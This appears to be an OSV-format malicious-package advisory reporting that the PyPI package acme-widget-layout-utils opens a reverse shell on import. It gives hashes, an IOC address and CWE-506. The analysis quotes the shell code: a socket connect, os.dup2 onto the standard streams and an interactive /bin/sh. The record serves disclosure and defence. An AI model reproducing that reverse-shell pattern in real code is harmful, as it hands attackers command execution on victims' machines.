{"id":"MAL-2026-5545","summary":"Malicious code in acme-widget-layout-utils (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (ff800752007d4e55ddc8172e04c8d75ac04d61b499cc58d97f016cd34d70d6c4)\nOn import, src/acme_widget_layout_utils/__init__.py executes a textbook reverse-shell pattern: it opens a TCP socket, duplicates the socket file descriptor onto stdin/stdout/stderr via os.dup2, and execs `/bin/sh -i` (lines 11-16: `_sock.connect((\"127.0.0.1\", 1)); os.dup2(_sock.fileno(), 0);...; subprocess.call([\"/bin/sh\", \"-i\"])`). The hardcoded destination 127.0.0.1:1 is intentionally unreachable in a default environment, but the code is a fully functional reverse shell — any environment that has a listener on that endpoint, that proxies loopback, or that is patched to redirect the connection receives an interactive shell with the importing process's privileges. The package additionally writes a marker file `/tmp/pypi_install_hook_marker.txt` from a custom setup.py install cmdclass during `pip install`, and the package is published under a generic `widget-layout-utils` name despite its pyproject description acknowledging it is a 'pipeline hook probe' with no advertised utility. The name/purpose mismatch increases the risk of accidental installation. Shipping live reverse-shell code on public PyPI under a benign name is unsafe regardless of the author's stated 'security probe' intent.\n\n## Source: kam193 (643a7c935e2bb063cea8baf36f13bca89572d1febbf0efdb05812ee09ddde4d8)\nDuring import, the package starts a reverse shell.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-06-acme-widget-layout-utils\n\n\nReasons (based on the campaign):\n\n\n - The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine.\n","modified":"2026-07-08T17:16:54.148993879Z","published":"2026-06-11T01:46:15Z","database_specific":{"iocs":{"ips":["34.69.137.236"]},"malicious-packages-origins":[{"modified_time":"2026-06-11T01:46:15Z","versions":["0.0.3"],"source":"amazon-inspector","sha256":"42e53a38c2df70a3c6a2a24b2484840e6a163f2e1a9b91236a2aa7a9ec004600","import_time":"2026-06-11T02:24:27.554501614Z","id":"IN-MAL-2026-005357"},{"versions":["0.0.1","0.0.2","0.0.3"],"source":"kam193","sha256":"643a7c935e2bb063cea8baf36f13bca89572d1febbf0efdb05812ee09ddde4d8","import_time":"2026-06-11T07:49:46.172073804Z","id":"pypi/2026-06-acme-widget-layout-utils/acme-widget-layout-utils","modified_time":"2026-06-11T05:40:39.931561Z"},{"versions":["0.0.2"],"source":"amazon-inspector","sha256":"ff800752007d4e55ddc8172e04c8d75ac04d61b499cc58d97f016cd34d70d6c4","import_time":"2026-06-12T19:44:19.145502925Z","id":"IN-MAL-2026-006199","modified_time":"2026-06-12T19:11:05Z"},{"modified_time":"2026-06-11T05:40:39.931561Z","versions":["0.0.1","0.0.2","0.0.3"],"source":"kam193","sha256":"b88682f3976ea35b55757e68f5e744aab7e1430ad10ec124d24e04c57f16395c","import_time":"2026-06-13T02:23:25.582806199Z","id":"pypi/2026-06-acme-widget-layout-utils/acme-widget-layout-utils"},{"source":"amazon-inspector","sha256":"e064e5dff118c8fce647eedba53e2b2ce164103979a418ee9a149c9355d829f4","import_time":"2026-07-08T17:01:34.728500782Z","id":"IN-MAL-2026-008153","modified_time":"2026-07-08T16:34:47Z","versions":["0.0.1"]}]},"references":[{"type":"PACKAGE","url":"https://pypi.org/project/acme-widget-layout-utils/0.0.3/"},{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/acme-widget-layout-utils"},{"type":"PACKAGE","url":"https://pypi.org/project/acme-widget-layout-utils/0.0.2/"},{"type":"PACKAGE","url":"https://pypi.org/project/acme-widget-layout-utils/0.0.1/"}],"affected":[{"package":{"name":"acme-widget-layout-utils","ecosystem":"PyPI","purl":"pkg:pypi/acme-widget-layout-utils"},"versions":["0.0.3","0.0.1","0.0.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"indicators":{"evidence_files":[{"path":"src/acme_widget_layout_utils/__init__.py","sha256":"611dbc535af11a1b91d66630e0f56d6a7a7174e74f46907fb8291d738448738c","tlsh":"c701cb8bcc2ad09a5f72a1918061c068de57a8031b3818b2bdec53146bf302561b4932"},{"sha256":"4ed96d4110ec206f50864acb834b2f11808cb903df3b39a876a3ebcf8fe66eea","tlsh":"7fe02646983f7070ad9383a488b346121c23c6605bf0e2a674fe1a715f931e6cc478c3","path":"setup.py"},{"tlsh":"31e06823cb775965eac164446051a167cdf2e8d92dc0d85c8acfc9983cee0e9c6f8929","path":"pyproject.toml","sha256":"1ed303a16226ddc822f2fb6d1d148805a1c09eb5577cfaa92220f7588902097f"}],"package_integrity":[{"filename":"acme_widget_layout_utils-0.0.3-py3-none-any.whl","hashes":{"sha256":"6ac0e78622500c826abe1209dc38b736dc0efdbdf350de726cf61dcb7da7834a","blake2b_256":"38246aec6a745e8f7660a345797c632829f16c2f5b9bf30ea6ba2a19f9b11b53","md5":"f4295d1297c0cb74a638a3ad949d0817"}},{"filename":"acme_widget_layout_utils-0.0.3.tar.gz","hashes":{"sha256":"58cea9e8965d0148962288648322bebcd4ddf5576169269981612a9c729bd233","blake2b_256":"a2a54dc0b1fd6fb75fd5d3f0d66ff1e64cfd2f20f72d07e275683859946b26d8","md5":"5bd41cffddaf6808608d6875b0a9dc38"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/acme-widget-layout-utils/MAL-2026-5545.json"}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]}